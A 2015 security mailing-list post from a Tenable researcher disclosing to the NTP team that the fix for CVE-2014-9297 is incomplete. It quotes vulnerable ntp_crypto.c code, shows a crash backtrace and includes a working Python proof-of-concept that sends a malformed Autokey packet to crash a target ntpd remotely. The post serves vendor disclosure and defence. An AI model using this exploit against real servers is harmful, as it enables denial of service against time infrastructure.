[ntp:security] Incomplete patch for CVE-2014-9297

Brian Martin bmartin at tenable.com
Tue Aug 11 23:16:06 UTC 2015


NTP Team,

While working on a Nessus plugin for CVE-2014-9297, one of our 
researchers determined that ntpd could still be crashed with Autokey 
enabled and configured with GQ identity scheme. Below is the analysis of 
the issue:

1) Incorrect patch for CVE-2014-9297 in crypto_xmit() in 
ntp-4.2.8p1:ntp_crypto.c:

   ...
   case CRYPTO_CERT | CRYPTO_RESP:
     vallen = ntohl(ep->vallen); /* Must be <64k */
     if (vallen == 0 || vallen > MAXHOSTNAME ||
         len - VALUE_LEN < vallen) {
       rval = XEVNT_LEN;
       break;
     }
   ...

The 'len' variable was initialized to 8, this is the current length
of the outgoing extension, not the incoming extension.
With MAXHOSTNAME = 512 and VALUE_LEN = 24, it seems the expression
len - VALUE_LEN < vallen will never evaluate to true if it ever
gets evaluated.

2) Missing length checks for vallen in crypto_bob2(), crypto_bob3(),
and cert_sign() in ntp-4.2.8p1:ntp_crypto.c.
These functions take an extension sent by a remote client via a
client mode packet. The extension is processed through crypto_xmit(),
which does not have a "early"  check on vallen.

In crypto_bob2() and crypto_bob3():
    ...
   len = ntohl(ep->vallen);
   if ((r = BN_bin2bn((u_char *)ep->pkt, len, NULL)) == NULL) {
    ...

In cert_sign():
    ...
   cptr = (void *)ep->pkt;
   if ((req = d2i_X509(NULL, &cptr, ntohl(ep->vallen))) == NULL) {
    ...


PoC:
------------------------------------------------------------
This PoC tries to exploit the bug in crypto_bob2().

Target setup and conditions:
- Target ntpd has Autokey (crypto) enabled and GQ identity scheme
   configured. Consult man pages for ntp_auth and ntp-keygen for
   these tasks.
- Host running this script and the target host must not go through
   Network Address Translation.

Versions tested:
----------------------------------------------------------
- ntp-dev-4.3.37
- ntp-4.2.8p2
- All versions compiled on 64-bit CentOS 6.x

Crash sample:
-----------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x000000371f8a52fc in BN_bin2bn () from /usr/lib64/libcrypto.so.10
(gdb) bt
#0  0x000000371f8a52fc in BN_bin2bn () from /usr/lib64/libcrypto.so.10
#1  0x00000000004294f9 in crypto_bob2 (ep=0x73ed7c, vp=0x7fffffffd100) at
ntp_crypto.c:2534
#2  0x0000000000426ea9 in crypto_xmit (peer=0x0, xpkt=0x7fffffffd510,
rbufp=0x73ece0, start=0x30, ep=0x73ed7c, cookie=0xb625737b) at
ntp_crypto.c:1251
#3  0x000000000043b8ff in fast_xmit (rbufp=0x73ece0, xmode=0x4,
xkeyid=0x9c2f7090, flags=0x1d0) at ntp_proto.c:3540
#4  0x000000000043530d in receive (rbufp=0x73ece0) at ntp_proto.c:815
#5  0x000000000041a86a in ntpdmain (argc=0x0, argv=0x7fffffffe590) at
ntpd.c:1192
#6  0x0000000000419e58 in main (argc=0x5, argv=0x7fffffffe568) at ntpd.c:289

'''



import sys, socket, hashlib, random
from struct import pack

def usage():
   print "usage  : "+sys.argv[0] + " <victim_ip>  [victim_port]"
   print "example: "+sys.argv[0] + " 192.168.111.222 123"

def genkey(saddr, daddr, keyid, cookie=0):
   data  = saddr + daddr + pack('>LL',keyid, cookie)
   return hashlib.md5(data).digest()

def ntp_pkt(ext, keyid, key):
   pkt  = '\xe3'  # version 4, client mode
   pkt += '\x00'  # stratum
   pkt += '\x06'  # poll interval
   pkt += '\xea'  # clock precision
   pkt += '\x00\x00\x00\x00'  #  root delay
   pkt += '\x00\x00\x00\x00'  #  root dispersion
   pkt += 'INIT'  #  reference id
   pkt += '\x00' * 8  #  reference time
   pkt += '\x00' * 8  #  origin time
   pkt += '\x00' * 8  #  receive time
   pkt += '\x00' * 8  #  transmit time
   pkt += ext;

   dgst = hashlib.md5(key + pkt).digest()
   pkt += pack('>L', keyid) + dgst

   return pkt;

# Hardcode vallen
def ntp_ext(code, val, vallen):
   ext  = pack('>L',random.randint(1, 0xffffffff)) # association id
   ext += '\x00\x00\x00\x00' # time stamp
   ext += '\x00\x00\x00\x00' # file time stamp

   if val is None:
     val = 'A' * 16

   if(len(val) % 4):
     val += '\x00' * (4 - len(val) % 4)

   ext += pack('>L', vallen) # value len
   ext += val                # value
   ext += pack('>L', 0)      # no signature

   # Compute extension length
   extlen = 4 + len(ext)

   ext = pack('>BBH', 0x02, code, extlen) + ext
   return ext


#
# MAIN
#
if len(sys.argv) != 2 and len(sys.argv) != 3:
   usage()
   sys.exit()

host = str(sys.argv[1])

if(sys.argv == 3):
   port = int(sys.argv[2])
else:
   port = 123

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, port))

saddr = socket.inet_aton(s.getsockname()[0])
daddr = socket.inet_aton(s.getpeername()[0])

keyid = random.randint(0x10000,0xffffffff)
key = genkey(saddr, daddr, keyid)

# Send a client-mode GQ message with a long vallen
#
# vallen (0xfffff) may need tweaking in order for
# BN_bin2bn() to produce a SIGSEGV
ext = ntp_ext(8, 'A' * 16, 0xfffff)
pkt = ntp_pkt(ext, keyid, key)
s.send(pkt)


Thanks,

Brian Martin
Tenable Security Response



More information about the security mailing list